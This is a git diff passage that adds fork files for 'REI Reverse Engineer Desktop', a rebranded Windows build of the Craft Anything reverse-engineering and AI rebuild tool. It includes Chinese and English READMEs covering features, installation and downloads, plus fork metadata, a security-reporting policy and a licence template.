+ + + +## 两种用法 + +- **简单模式**（默认）：“你想做什么？” 选一个网站、应用或游戏，描述它，按下 Start。项目页显示四个步骤（研究 → 构建 → 检查 → 就绪）、agent 正在做什么（用大白话）、提问卡和审批卡、结果有多像，以及打开结果或它所在文件夹的按钮。在底部的输入框里提改动要求。“只看里面”会打开一个目标供你提问，但不构建任何东西（需深度模式）。 +- **进阶模式**：完整的工作台：所有工具（Ctrl/Cmd+K）、函数、字符串、伪 C、反汇编、十六进制、调用图、证据、未知项、任务、日志和 agent 控制台。 + +两种模式驱动同一个引擎。 + + + +## 净室还是深度 + +- **净室**（默认）：绝不读取原件内部的任何东西——不读它的代码、文件或页面源码。Craft Anything 只依据你所能看到的来工作：你添加的图片、网站以访客身份呈现的样子（截图、可见文本、测量出的布局、颜色、字体与间距、展开的菜单），以及在你允许时截取的应用窗口画面。所有会往内部看的工具都会被拒绝，并告诉你如何开启深度模式。 +- **深度**：使用全部工具，供你自己私下使用。程序的代码和文件由内置引擎读取（装了 Ghidra 时也会用它），网站的 JavaScript 会被读取、起始页面会被持续观察，构建方也可以使用全部这些能力。 + +在标题栏或设置里切换，或执行 `settings_set deep_mode true`，或单次 CLI 运行时加 `--deep`（或 `--clean-room`）。 + +

+ 进阶模式的工作台：函数列表、所选函数的伪 C、用工具调用回答问题的 agent，以及证据台账 +
+ 进阶：函数、伪 C、agent，以及每个答案背后的证据。 +

+ + + +## AI + +构建需要你电脑上有一个已登录的编码 agent。**Claude Code** 是首选支持对象：Craft Anything 运行你自己那份未经改动的 `claude` 程序，它用你自己的登录；Craft Anything 从不查看也不接触你的账号，你对它的使用适用你与 Anthropic 自己的协议。原因与做法见 [docs/claude-code.md](docs/claude-code.md)。Codex 适配器已存在，但还没在真实安装上验证过。提问和分析可选用 Anthropic、OpenAI、OpenRouter 以及本地 OpenAI 兼容服务（设置 → AI）。 + + + +## 面向 agent + +每个工具同时是一个 CLI 子命令和一个 MCP 工具，所以 agent 不用打开应用也能研究目标或跑完整个重建： + +```sh +craft-anything-cli commands # every tool, by toolset +craft-anything-cli mcp # serve them to any MCP client +craft-anything-cli rebuild https://example.com "Recreate this website" +``` + +结果是带置信度、覆盖范围和局限性的证据记录；大结果先给摘要，再用 `core_evidence_browse` 分页读取。`craft-anything-cli setup` 把 Craft Anything 接到编码 agent 应用上。 + + + +## 内部实现 + +一个纯 Rust 的逆向工程引擎，314 个工具（引擎里 298 个，其余来自 AI 与设置层），覆盖原生程序、.NET、Java、Android、Apple、Electron/JavaScript、网站、固件、抓包、数据库和游戏文件。它自带的解码器、反汇编器和反编译器无需任何外部程序即可工作；深度模式会全部用上，装了 Ghidra 时也会使用它。它支撑着桌面应用（egui）、CLI 和 MCP 服务器，其中一部分还能以 WebAssembly 跑在浏览器里。完整清单在 [docs/tools.md](docs/tools.md)。 + + + +## 开始使用 + +需要 Rust **1.97 或更新**（有依赖要求它；`rustup update`）。在 Debian 或 Ubuntu 上，桌面应用还需要： + +```sh +sudo apt-get install libxkbcommon-dev libwayland-dev libx11-dev libxrandr-dev libxi-dev libgl1-mesa-dev libgtk-3-dev +``` + +然后： + +```sh +git clone https://github.com/storytold/craft-anything && cd craft-anything +cargo run --release -p craft-anything # the desktop app +cargo install --path apps/craft-anything-cli # the CLI, as `craft-anything-cli` +craft-anything-cli doctor # checks the install, coding agents and engines +``` + +构建需要你电脑上已登录一个编码 agent（见 [AI](#ai)）；`doctor` 会告诉你缺什么。从命令行重建（问题在终端里问）： + +```sh +craft-anything-cli rebuild https://example.com "Recreate this website" +craft-anything-cli rebuild - "A snake game in Rust" --rounds 1 +craft-anything-cli rebuild https://example.com "Make the header blue" --continue-in "" +craft-anything-cli rebuild - "Add a contact form" --project-folder "" --existing edit +``` + +新项目放在 `Documents/Craft Anything`（可在设置 → 通用里改）。每个项目文件夹里有 `craft.json`（请求、目标、状态和历史）、`capture/`（从目标录到的内容）、`app/`（生成的项目）、`checks/`（每次与原件比对的结果）、`investigation.cany/`（证据）和 `inbox/`（待回答问题）。 + +项目也可以从你指定的文件夹开始（Start 下的“选择文件夹…”，或 `--project-folder`）。如果那里已经有文件，你要说明它们是什么：就是应用本身（构建方会就地修改），还是作为起点用的素材（应用会建在它们旁边的 `app/` 里）；设置 → 通用可以记住你的选择。设置 → 通用还会列出其他文件夹里的项目；移除一个只是把它从列表里拿掉。 + + + +## 状态 + +> [!IMPORTANT] +> **状态：** Craft Anything 处于早期 alpha。今天能用的、部分可用的，以及接下来要做的： +> +> - **今天可用：** 桌面应用（简单与进阶模式）、CLI 和 MCP 服务器；以 Claude Code 作为构建方、面向网站/应用/游戏的 +> 研究 → 构建 → 检查 → 收敛 流程；三种屏宽下的网站检查；Unity、Unreal 或 Godot 的游戏重建；带 Ghidra 的深度 +> 模式；生成图片和 3D 模型（需自行选择开启，用你自己的 fal.ai 密钥）；插件（MCP 服务器，以及开启 `wasm-plugins` +> 选项的构建中的 WASM 组件）。 +> - **部分可用：** 用 API 密钥和其他编码 agent 构建（已实现，尚未真机跑通），应用和游戏的行为检查，少数引擎工具只用替身测过。 +> - **接下来：** 第一次公开发布（Windows、macOS、Linux 和 FreeBSD 的安装包，以及浏览器查看器都已在 CI 里配好），然后是托管版。 +> +> [docs/STATUS.md](docs/STATUS.md) 有细节和每部分的验证方式，[docs/tool-status.md](docs/tool-status.md) 是逐个工具的清单， +> [docs/ROADMAP.md](docs/ROADMAP.md) 是逐项的计划。欢迎提 issue，或者到 [Discord](https://discord.gg/artcraft) 说哪里坏了。 + +**负责地使用。** 请在你拥有或获准检查的软件上使用 Craft Anything。它绝不绕过 DRM、登录或反作弊。重建是依据证据复现布局、风格与行为；agent 被要求不得复制 logo、照片或文本，除非你确认你拥有它们或已获授权。 + + + +## 下载 + +在 GitHub 上，[最新发布](https://github.com/storytold/craft-anything/releases/latest) 列出了下面所有构建，[全部发布](https://github.com/storytold/craft-anything/releases) 有更早的版本和它们的说明。文件名里的 `` 是版本号，`SHA256SUMS.txt` 列出每个文件的校验和。 + +### Windows + +| 构建 | 安装包 | 便携版 | +|---|---|---| +| x64（64 位 Intel/AMD） | `craft-anything--windows-x64.msi` | `craft-anything--windows-x64-portable.zip` | +| arm64（骁龙及其他 ARM PC） | `craft-anything--windows-arm64.msi` | `craft-anything--windows-arm64-portable.zip` | +| x86（32 位） | `craft-anything--windows-x86.msi` | `craft-anything--windows-x86-portable.zip` | + +安装包和可执行文件都有代码签名。便携版把设置放在应用旁边。 + +### macOS + +| 构建 | 文件 | 说明 | +|---|---|---| +| 应用，通用版（Apple silicon + Intel） | `craft-anything--macos-universal.dmg` | 已签名并公证 | +| 命令行工具，通用版 | `craft-anything-cli--macos-universal.zip` | 已签名并公证 | + +### Linux + +| 格式 | x86_64 | aarch64（ARM64） | 说明 | +|---|---|---|---| +| AppImage | `craft-anything--linux-x86_64.AppImage` | `craft-anything--linux-aarch64.AppImage` | 随处可跑；用 [AppImageUpdate](https://github.com/AppImageCommunity/AppImageUpdate) 自我更新（`.zsync` 文件） | +| Flatpak | `craft-anything--linux-x86_64.flatpak` | `craft-anything--linux-aarch64.flatpak` | 沙箱运行；`flatpak install --user ` | +| Debian/Ubuntu | `craft-anything--linux-x86_64.deb` | `craft-anything--linux-aarch64.deb` | | +| Fedora/RHEL/openSUSE | `craft-anything--linux-x86_64.rpm` | `craft-anything--linux-aarch64.rpm` | | +| Tarball | `craft-anything--linux-x86_64.tar.gz` | `craft-anything--linux-aarch64.tar.gz` | 解压到任意位置 | + +RISC-V（riscv64）：`craft-anything--linux-riscv64.tar.gz`，只有 tarball。 + +### FreeBSD + +| 构建 | 文件 | +|---|---| +| x86_64 | `craft-anything--freebsd-x86_64.tar.gz` | + +### Web（WebAssembly） + +| 构建 | 文件 | 说明 | +|---|---|---| +| 浏览器查看器 | `craft-anything-web-.zip` | 在浏览器里说明一个文件是什么（文件本身不离开浏览器）；把这个文件夹放到任意静态 Web 服务器上即可（[packaging/web/README.md](packaging/web/README.md)） | + +
+ +

+ 加入 ArtCraft 的 Discord 社区 +

+ +

来和我们一起做东西

+ +

+ 我们的 Discord 是各类创作者待的地方：画画的人、拍摄的人、绘图的人、剪片子的人、排版的人， + 以及还在摸索自己喜欢做什么的人。分享你正在做的东西、求助、告诉我们哪里坏了，或者说说你希望 + 这些工具能做什么。不论你用什么媒介、入行多久，这里都欢迎你。 +

+ +

+ discord.gg/artcraft · + getartcraft.com · + The Crafting Apps · + Craft Anything +

+ +--- + +## The Craft App Suite + +| | 应用 | 用来做什么 | 代码 | 了解更多 | +|:-:|---|---|---|---| +| | **PhotoCraft** | 图像编辑：图层、蒙版、文字，以及真正的 PSD 文件 | [GitHub](https://github.com/storytold/photocraft) | [网站](https://getartcraft.com/apps/photocraft) | +| | **VectorCraft** | 矢量插画 | [GitHub](https://github.com/storytold/vectorcraft) | [网站](https://getartcraft.com/apps/vectorcraft) | +| | **FilmCraft** | 视频剪辑、调色与声音 | [GitHub](https://github.com/storytold/filmcraft) | [网站](https://getartcraft.com/apps/filmcraft) | +| | **LightCraft** | 照片库与 raw 冲图 | [GitHub](https://github.com/storytold/lightcraft) | [网站](https://getartcraft.com/apps/lightcraft) | +| | **PdfCraft** | 阅读、整理与保护 PDF | [GitHub](https://github.com/storytold/pdfcraft) | [网站](https://getartcraft.com/apps/pdfcraft) | +| | **EffectCraft** | 动态图形与视觉特效 | [GitHub](https://github.com/storytold/effectcraft) | [网站](https://getartcraft.com/apps/effectcraft) | +| | **DesignCraft** | 页面排版与出版 | [GitHub](https://github.com/storytold/designcraft) | [网站](https://getartcraft.com/apps/designcraft) | +| | **FigCraft** | 界面设计与原型 | [GitHub](https://github.com/storytold/figcraft) | [网站](https://getartcraft.com/apps/figcraft) | +| | **WordCraft** | 文字处理与文档 | [GitHub](https://github.com/storytold/wordcraft) | [网站](https://getartcraft.com/apps/wordcraft) | +| | **SoundCraft** | 音频录制与编辑 | [GitHub](https://github.com/storytold/soundcraft) | [网站](https://getartcraft.com/apps/soundcraft) | +| | **DeckCraft** | 演示文稿与幻灯片 | [GitHub](https://github.com/storytold/deckcraft) | [网站](https://getartcraft.com/apps/deckcraft) | +| | **CADCraft** | 计算机辅助设计 | [GitHub](https://github.com/storytold/cadcraft) | [网站](https://getartcraft.com/apps/cadcraft) | +| | **GridCraft** | 电子表格与数据 | [GitHub](https://github.com/storytold/gridcraft) | [网站](https://getartcraft.com/apps/gridcraft) | +| | **TextureCraft** | 3D 贴图绘制 | [GitHub](https://github.com/storytold/texturecraft) | [网站](https://getartcraft.com/apps/texturecraft) | +| | **Craft Anything** | 看清任意软件是怎么做的，然后造一个自己的 | [GitHub](https://github.com/storytold/craft-anything) | [网站](https://getartcraft.com/apps/craft-anything) | +| | **SolidCraft** | Tangency Labs 的参数化 3D CAD（社区应用） | [GitHub](https://github.com/tangency-labs/solidcraft) | | + + + + +## 许可与致谢 + +Craft Anything 采用 [MIT](LICENSE-MIT) 或 [Apache-2.0](LICENSE-APACHE) 双许可，任你选择。 +Copyright (c) 2026 ArtCraft Team and the Craft Anything contributors。必需的声明在 [NOTICE](NOTICE)。 + +随附的字体、图标、图片和其他资源各自保留其开源许可；每一项都在 [ATTRIBUTION.md](ATTRIBUTION.md) 里列出了作者、来源和许可。 + +截图里展示的是为它们制作的示例项目：example.com、一个贪吃蛇游戏和一个小计算器程序。 + +[`docs/brand/`](docs/brand/) 里的 ArtCraft 名称、标志图形和 logo 是 ArtCraft Team 的商标，不在本许可范围内。 +它们只能在未作修改的前提下，作为本仓库和 Craft Anything 的一部分使用，并须遵守 +[`docs/brand/LICENSE-brand.txt`](docs/brand/LICENSE-brand.txt)。分支和修改版必须移除它们。 + +

+ ArtCraft
+ 由 ArtCraft 团队与社区制作。 +

+ +--- + +本页是 [README.md](README.md) 的简体中文翻译。如有出入，以英文版为准。 diff --git a/desktop/ROOTCASTLE-FORK.json b/desktop/ROOTCASTLE-FORK.json new file mode 100644 index 0000000..eb111c4 --- /dev/null +++ b/desktop/ROOTCASTLE-FORK.json @@ -0,0 +1,16 @@ +{ + "product": "REI Reverse Engineer Desktop", + "upstream": "https://github.com/storytold/craft-anything", + "revision": "ecbd519c6a4bac713bcd0ad1efa6b042c3c3e7da", + "upstream_version": "0.3.0", + "license": "MIT OR Apache-2.0", + "fork_changes": [ + "product identity", + "Rootcastle palette and original monogram", + "isolated settings directory", + "rootcastle-rei executable", + "Python REI MCP integration", + "upstream REA MCP integration", + "unified evidence routing and bridge diagnostic" + ] +} diff --git a/desktop/ROOTCASTLE.md b/desktop/ROOTCASTLE.md new file mode 100644 index 0000000..30616fe --- /dev/null +++ b/desktop/ROOTCASTLE.md @@ -0,0 +1,35 @@ +# REI Reverse Engineer Desktop + +Native Windows desktop fork of Craft Anything, based on upstream commit +`ecbd519c6a4bac713bcd0ad1efa6b042c3c3e7da` (workspace version 0.3.0). +Original repository: https://github.com/storytold/craft-anything. + +Rootcastle changes include the product title and application ID +`com.rootcastle.rei`, an original geometric icon, Rootcastle blue/black colors, +an isolated `rootcastle-rei` settings folder and `Documents/REI Reverse Engineer` +project directory. `REI_CONFIG_DIR` overrides the settings location. Internal +crate names and evidence/project formats retain upstream names for compatibility. + +Build from the parent repository with `./scripts/build_desktop.ps1`; add +`-Release` for an optimized build. Requires Rust 1.97.0 and Visual Studio C++ +build tools / Windows SDK. Run with `./scripts/run_desktop.ps1`. + +The native Rust application registers the Python workbench and original REA +as local MCP plugins. The Windows smoke test discovered 248 external tools +and executed Python identification and upstream static entropy analysis through +the desktop engine. Each server retains its own storage; this is a unified tool +interface rather than a merged evidence database. Start with +`../scripts/run_desktop.ps1 -Python ` after running upstream setup. +AI builder features require a separately configured coding agent or model. + +Keep LICENSE-MIT, LICENSE-APACHE, NOTICE and ATTRIBUTION.md with distributions. +Original copyright and third-party notices remain applicable. Upstream brand +artwork in docs/brand is archival material, not Rootcastle branding; see its +separate license. No upstream endorsement is claimed. ROOTCASTLE-FORK.json +records the exact source revision and modifications. + +Windows compilation and native window startup passed. Local Python and Rust +results, upstream pins and dependency advisory limitations are recorded in +[the verification report](../docs/DESKTOP-VERIFICATION.md). Optimized packaging, +signing and release CI remain pending. A local build does not prove every +upstream analyzer's accuracy. diff --git a/desktop/SECURITY.md b/desktop/SECURITY.md new file mode 100644 index 0000000..7683ea4 --- /dev/null +++ b/desktop/SECURITY.md @@ -0,0 +1,23 @@ +# Security + +Craft Anything reads hostile files and runs other programs, so we take reports seriously. + +## Reporting a vulnerability + +Please report it privately: on GitHub, open the repository's **Security** tab and choose +**Report a vulnerability**. Don't open a public issue for it. Say what's affected, how to reproduce +it, and what an attacker gains. We'll reply within a week and tell you what we'll do. + +## What counts + +- A crash, hang or runaway memory use on any input file or website (never-crash is a hard rule: + [AGENTS.md](AGENTS.md)). +- Code from a target running without the person's consent, or a tool doing more than its declared + effects. +- A path that lets a coding agent act outside its project without approval. +- A key, token or other secret reaching a log, a tool's output, evidence or the repository. +- A plugin escaping its sandbox (WASM plugins import nothing; MCP plugins ask before each call). + +## Supported versions + +Fixes go into the latest release. diff --git a/desktop/UPSTREAM-README.md b/desktop/UPSTREAM-README.md new file mode 100644 index 0000000..0d87bdd --- /dev/null +++ b/desktop/UPSTREAM-README.md @@ -0,0 +1,380 @@ +

+ + + + ArtCraft + + +

+ +

+ Craft Anything icon: an engraved raven on a blue tile +

+ +

Craft Anything

+ +

+ English · 日本語 · 简体中文 · 한국어 +

+ +

+ See how any website, app or game works, then have AI build your own version; an open-source, clean-room engine in pure Rust.
+ Point it at a target, say what you want, and it studies the original with real inspection tools,
+ has a coding agent build a new project, checks the result against the original and refines it. +

+ +

+ 100% Rust + macOS · Windows · Linux · FreeBSD · Web + License: MIT OR Apache-2.0 + Status: early alpha +

+ +

+ Join the ArtCraft community on Discord +

+ +

+ Download Craft Anything · + ArtCraft · + All Crafting Apps +

+ +
+ +

+ A website project in Craft Anything: the check lists what doesn't match yet and how alike each page is, the builder says its version is ready, an approval card asks before running a command, and the plan shows two of four steps done +
+ A website project: each check says how alike the build is, you approve anything outside the rules, and the plan shows what's left. +

+ +> [!NOTE] +> **ArtCraft is a community of artists from all walks of life.** Painters, photographers, +> filmmakers, illustrators, designers, animators, hobbyists, and people who picked up a pencil +> last week. If you make things, you're one of us. **[Come say hi on Discord](https://discord.gg/artcraft).** + +

+ How it works · + Two ways to use it · + AI · + Agents · + Under the hood · + Get started · + Status · + Downloads · + Discord +

+ +
+ + + + + + + + +
+

🔍 Study anything

+ Websites, desktop apps, phone apps, games and files: real inspection tools find out how they're built and what they do, with the evidence behind every answer. + 		+

🛠️ Build your own

+ Say what you want ("Recreate this website", "Recreate this game's gameplay in Rust") and a coding agent builds a new project in the stack you ask for. + 		+

✅ Checked, not guessed

+ Every build is compared with the original (pages at three screen widths, a game's own self-test, an app's runs) and refined until it's close. + 		+

🤖 Agent-ready

+ 314 tools, each one a CLI command and an MCP tool, so any agent can drive the same engine the app uses. No AI is needed to inspect. +
+ +
+ +## How it works + +Point Craft Anything at a target, say what you want, and press Start. It works in four steps, +asking you in plain words when a decision is yours: + +1. **Study:** inspect the original: its pages at every width, its code, its files, how it runs. +2. **Build:** a coding agent builds a new project, in the language, framework or engine your + request names (or a sensible default). +3. **Check:** compare the build with the original and list what doesn't match yet. +4. **Ready:** open, play or preview the result, or ask for changes and it refines it. + + + + + + +
+ The Make screen: pick a website, an app or a game to recreate, type the address, choose Clean room or Deep, say what you want and press Start
+ Make: pick what to recreate, say what you want, press Start. + 		+ A finished snake game project with its steps all done and a Play the game button
+ Ready: play the game, or ask for changes below. +
+ +## Two ways to use it + +- **Simple** (default): "What do you want to make?" Pick a website, app or game, describe it, + press Start. A project page shows the four steps (Study → Build → Check → Ready), what the + agent is doing in plain words, question and approval cards, how alike the result is, and + buttons to open the result or its folder. Ask for changes in the box at the bottom. + "Just look inside" opens a target for questions without building anything (in Deep mode). +- **Advanced**: the full workbench: every tool (Ctrl/Cmd+K), functions, strings, pseudo-C, + disassembly, hex, call graphs, evidence, unknowns, jobs, logs and the agent console. + +Both modes drive the same engine. + +## Clean room or Deep + +- **Clean room** (the default): nothing inside the original is read, not its code, files or page + source. Craft Anything works from what you can see: pictures you add, the website as a visitor + sees it (screenshots, visible text, measured layout, colours, fonts and spacing, menus opened) + and, when you allow it, a picture of the app's window. Tools that would look inside are refused + and say how to turn on Deep mode. +- **Deep**: every tool is used, for your private use. A program's code and files are read with the + built-in engines (and Ghidra when it's installed), a website's JavaScript is read and its start + page watched, and the builder may use all of them. + +Switch in the title bar or Settings, with `settings_set deep_mode true`, or for one CLI run with +`--deep` (or `--clean-room`). + +

+ The Advanced workbench: a function list, pseudo-C of the selected function, the agent answering a question with a tool call, and the evidence ledger +
+ Advanced: functions, pseudo-C, the agent and the evidence behind every answer. +

+ +## AI + +Building needs a coding agent on your computer. **Claude Code** is supported first: Craft +Anything runs your own, unmodified `claude` program, which uses your own sign-in; Craft Anything +never sees or handles your account. Your use of it falls under your own agreement with +Anthropic. See [docs/claude-code.md](docs/claude-code.md) for how and why. A Codex adapter +exists but hasn't been verified on a real install yet. Other agents that speak ACP (Gemini CLI, +Qwen Code, opencode, goose, Hermes, Maki) can be switched to it per backend; of those, only Maki has +been run live. Anthropic, OpenAI, OpenRouter and local +OpenAI-compatible servers are available for questions and analysis (Settings → AI). + +## Built for agents + +Every tool is also a CLI subcommand and an MCP tool, so an agent can study a target or run a +whole rebuild without the app: + +```sh +craft-anything-cli commands # every tool, by toolset +craft-anything-cli mcp # serve them to any MCP client +craft-anything-cli rebuild https://example.com "Recreate this website" +``` + +Results are evidence records with their confidence, coverage and limitations; big ones come back +as a summary first and are paged with `core_evidence_browse`. `craft-anything-cli setup` +connects Craft Anything to coding-agent apps. + +## Under the hood + +A pure-Rust reverse-engineering engine with 314 tools (298 in the engine, the rest from the AI and +setup layers) for native programs, .NET, Java, Android, Apple, Electron/JavaScript, websites, +firmware, packet captures, databases and game files. Its own decoders, disassembler and +decompiler work without any outside program; Deep mode uses them all, and Ghidra when it's +installed. It powers the desktop app (egui), the CLI and the MCP server, and parts of it run in +the browser as WebAssembly. The full list is in [docs/tools.md](docs/tools.md). + +## Get started + +Requires Rust **1.97 or newer** (a dependency needs it; `rustup update`). On Debian or Ubuntu, +the desktop app also needs: + +```sh +sudo apt-get install libxkbcommon-dev libwayland-dev libx11-dev libxrandr-dev libxi-dev libgl1-mesa-dev libgtk-3-dev +``` + +Then: + +```sh +git clone https://github.com/storytold/craft-anything && cd craft-anything +cargo run --release -p craft-anything # the desktop app +cargo install --path apps/craft-anything-cli # the CLI, as `craft-anything-cli` +craft-anything-cli doctor # checks the install, coding agents and engines +``` + +Building needs a coding agent signed in on your computer (see [AI](#ai)); `doctor` says what's +missing. Rebuild from the command line (questions are asked in the terminal): + +```sh +craft-anything-cli rebuild https://example.com "Recreate this website" +craft-anything-cli rebuild - "A snake game in Rust" --rounds 1 +craft-anything-cli rebuild https://example.com "Make the header blue" --continue-in "" +craft-anything-cli rebuild - "Add a contact form" --project-folder "" --existing edit +``` + +New projects go in `Documents/Craft Anything` (change it in Settings → General). Each project +folder holds `craft.json` (the request, target, status and history), `capture/` (what was +recorded from the target), `app/` (the generated project), `checks/` (each comparison against +the original), `investigation.cany/` (evidence) and `inbox/` (open questions). + +A project can also start in a folder you pick (Choose a folder… under Start, or `--project-folder`). +If it already has files, you say what they are: the app itself, which the builder edits in place, +or material to start from, with the app built in `app/` beside them (Settings → General can +remember the answer). Settings → General also lists projects from more folders; removing one +only takes it off the list. + +## Status + +> [!IMPORTANT] +> **Status:** Craft Anything is in early alpha. What works today, what is partial and what's next: +> +> - **Works today:** the desktop app (Simple and Advanced), the CLI and the MCP server; the +> Study → Build → Check → Refine workflow for websites, apps and games with Claude Code as the +> builder; website checks at three screen widths; game rebuilds in Unity, Unreal or Godot; Deep +> mode with Ghidra; generated pictures and 3D models (opt-in, your own fal.ai key); plugins (MCP +> servers, and WASM components in builds with the `wasm-plugins` option). +> - **Partly there:** building with API keys and other coding agents (built, not yet run live), +> behaviour checks for apps and games, a few engine tools tested only against stand-ins. +> - **Next:** the first public release (installers for Windows, macOS, Linux and FreeBSD, and the +> browser viewer are set up in CI), then the managed tier. +> +> [docs/STATUS.md](docs/STATUS.md) has the detail and how each part was checked, +> [docs/tool-status.md](docs/tool-status.md) the tool-by-tool checklist, and +> [docs/ROADMAP.md](docs/ROADMAP.md) the plan, item by item. Please file issues, or tell us what +> broke on [Discord](https://discord.gg/artcraft). + +**Responsible use.** Use Craft Anything on software you own or are allowed to examine. It never +bypasses DRM, logins or anti-cheat. Rebuilds recreate layout, style and behaviour from evidence; +the agent is told not to copy logos, photos or text unless you confirm you own them or have +permission. + +## Downloads + +On GitHub, the [latest release](https://github.com/storytold/craft-anything/releases/latest) has every build listed below, and [all releases](https://github.com/storytold/craft-anything/releases) has earlier versions and their notes. `` in the file names is the version number, and `SHA256SUMS.txt` lists a checksum for every file. + +### Windows + +| Build | Installer | Portable | +|---|---|---| +| x64 (64-bit Intel/AMD) | `craft-anything--windows-x64.msi` | `craft-anything--windows-x64-portable.zip` | +| arm64 (Snapdragon and other ARM PCs) | `craft-anything--windows-arm64.msi` | `craft-anything--windows-arm64-portable.zip` | +| x86 (32-bit) | `craft-anything--windows-x86.msi` | `craft-anything--windows-x86-portable.zip` | + +Installers and executables are code-signed. The portable zip keeps its settings next to the app. + +### macOS + +| Build | File | Notes | +|---|---|---| +| App, universal (Apple silicon + Intel) | `craft-anything--macos-universal.dmg` | Signed and notarized | +| Command-line tool, universal | `craft-anything-cli--macos-universal.zip` | Signed and notarized; see below if macOS blocks it | + +Versions after 0.2.0 include the command-line tool in the app, so builds don't need the separate +zip. You only need it to use the command line without the app. + +A browser download of the zip can stop with "Apple could not verify craft-anything-cli" (a lone +program can't carry its notarization with it, so macOS has to look it up online). A download from +the terminal isn't checked this way, so use this instead: + +```sh +ver=0.2.0 # change this to the version you want +curl -fLO "https://github.com/storytold/craft-anything/releases/download/v$ver/craft-anything-cli-$ver-macos-universal.zip" +ditto -x -k "craft-anything-cli-$ver-macos-universal.zip" . +mkdir -p ~/.local/bin +mv "craft-anything-cli-$ver-macos-universal/craft-anything-cli" ~/.local/bin/ +~/.local/bin/craft-anything-cli --version +``` + +To run it as just `craft-anything-cli`, add `~/.local/bin` to your `PATH`. + +If you already have the blocked copy, press Done (not Move to Bin), then run +`xattr -d com.apple.quarantine `, or allow it in System Settings → +Privacy & Security → Open Anyway. + +### Linux + +| Format | x86_64 | aarch64 (ARM64) | Notes | +|---|---|---|---| +| AppImage | `craft-anything--linux-x86_64.AppImage` | `craft-anything--linux-aarch64.AppImage` | Runs anywhere; updates itself with [AppImageUpdate](https://github.com/AppImageCommunity/AppImageUpdate) (`.zsync` files) | +| Flatpak | `craft-anything--linux-x86_64.flatpak` | `craft-anything--linux-aarch64.flatpak` | Sandboxed; `flatpak install --user ` | +| Debian/Ubuntu | `craft-anything--linux-x86_64.deb` | `craft-anything--linux-aarch64.deb` | | +| Fedora/RHEL/openSUSE | `craft-anything--linux-x86_64.rpm` | `craft-anything--linux-aarch64.rpm` | | +| Tarball | `craft-anything--linux-x86_64.tar.gz` | `craft-anything--linux-aarch64.tar.gz` | Unpack anywhere | + +RISC-V (riscv64): `craft-anything--linux-riscv64.tar.gz`, a tarball only. + +### FreeBSD + +| Build | File | +|---|---| +| x86_64 | `craft-anything--freebsd-x86_64.tar.gz` | + +### Web (WebAssembly) + +| Build | File | Notes | +|---|---|---| +| Browser viewer | `craft-anything-web-.zip` | Says what a file is, in the browser (the file never leaves it); host the folder on any static web server ([packaging/web/README.md](packaging/web/README.md)) | + +
+ +

+ Join the ArtCraft community on Discord +

+ +

Come make things with us

+ +

+ Our Discord is where artists of every kind hang out: people who paint, shoot, draw, cut film, + set type, and people still figuring out what they like to make. Share what you're working on, + ask for help, tell us what's broken, or tell us what you wish these tools could do. + Whatever your medium and however long you've been at it, you're welcome here. +

+ +

+ discord.gg/artcraft · + getartcraft.com · + The Crafting Apps · + Craft Anything +

+ +--- + +## The Craft App Suite + +| | App | What it's for | Code | Learn more | +|:-:|---|---|---|---| +| | **PhotoCraft** | Image editing: layers, masks, type and real PSD files | [GitHub](https://github.com/storytold/photocraft) | [Website](https://getartcraft.com/apps/photocraft) | +| | **VectorCraft** | Vector illustration | [GitHub](https://github.com/storytold/vectorcraft) | [Website](https://getartcraft.com/apps/vectorcraft) | +| | **FilmCraft** | Video editing, color and sound | [GitHub](https://github.com/storytold/filmcraft) | [Website](https://getartcraft.com/apps/filmcraft) | +| | **LightCraft** | Photo library and raw development | [GitHub](https://github.com/storytold/lightcraft) | [Website](https://getartcraft.com/apps/lightcraft) | +| | **PdfCraft** | Reading, organizing and protecting PDFs | [GitHub](https://github.com/storytold/pdfcraft) | [Website](https://getartcraft.com/apps/pdfcraft) | +| | **EffectCraft** | Motion graphics and visual effects | [GitHub](https://github.com/storytold/effectcraft) | [Website](https://getartcraft.com/apps/effectcraft) | +| | **DesignCraft** | Page layout and publishing | [GitHub](https://github.com/storytold/designcraft) | [Website](https://getartcraft.com/apps/designcraft) | +| | **FigCraft** | Interface design and prototyping | [GitHub](https://github.com/storytold/figcraft) | [Website](https://getartcraft.com/apps/figcraft) | +| | **WordCraft** | Word processing and documents | [GitHub](https://github.com/storytold/wordcraft) | [Website](https://getartcraft.com/apps/wordcraft) | +| | **SoundCraft** | Audio recording and editing | [GitHub](https://github.com/storytold/soundcraft) | [Website](https://getartcraft.com/apps/soundcraft) | +| | **DeckCraft** | Presentations and slide decks | [GitHub](https://github.com/storytold/deckcraft) | [Website](https://getartcraft.com/apps/deckcraft) | +| | **CADCraft** | Computer-aided design | [GitHub](https://github.com/storytold/cadcraft) | [Website](https://getartcraft.com/apps/cadcraft) | +| | **GridCraft** | Spreadsheets and data | [GitHub](https://github.com/storytold/gridcraft) | [Website](https://getartcraft.com/apps/gridcraft) | +| | **TextureCraft** | 3D texture painting | [GitHub](https://github.com/storytold/texturecraft) | [Website](https://getartcraft.com/apps/texturecraft) | +| | **Craft Anything** | See how any software works, then build your own | [GitHub](https://github.com/storytold/craft-anything) | [Website](https://getartcraft.com/apps/craft-anything) | +| | **SolidCraft** | Parametric 3D CAD by Tangency Labs (community app) | [GitHub](https://github.com/tangency-labs/solidcraft) | | + + +## License and credits + +Craft Anything is dual-licensed under [MIT](LICENSE-MIT) or [Apache-2.0](LICENSE-APACHE), at your option. +Copyright (c) 2026 ArtCraft Team and the Craft Anything contributors. Required notices are in [NOTICE](NOTICE). + +Bundled fonts, icons, images and other assets keep their own open licenses; each one is listed +with its author, source and license in [ATTRIBUTION.md](ATTRIBUTION.md). + +The screenshots show sample projects made for them: example.com, a snake game and a small +calculator program. + +The ArtCraft name, wordmark and logos in [`docs/brand/`](docs/brand/) are trademarks of the +ArtCraft Team and are not covered by this license. They may be used only unmodified, and only as +part of this repository and Craft Anything, under [`docs/brand/LICENSE-brand.txt`](docs/brand/LICENSE-brand.txt). +Forks and modified versions must remove them. + +

+ ArtCraft
+ Made by the ArtCraft team and community. +

diff --git a/desktop/about.hbs b/desktop/about.hbs new file mode 100644 index 0000000..c09c465 --- /dev/null +++ b/desktop/about.hbs @@ -0,0 +1,35 @@ + + + + +Craft Anything: third-party licences + + + +

Third-party licences

+

Craft Anything includes the following Rust crates. Fonts and icons bundled from +assets/ are listed in NOTICE and ATTRIBUTION.md.

+

Summary

+
    +{{#each overview}} +
  • {{name}} ({{count}})
    • +{{/each}} +
+

Licences

+{{#each licenses}} +
+

{{name}}

+

Used by:

+ +
{{text}}
+
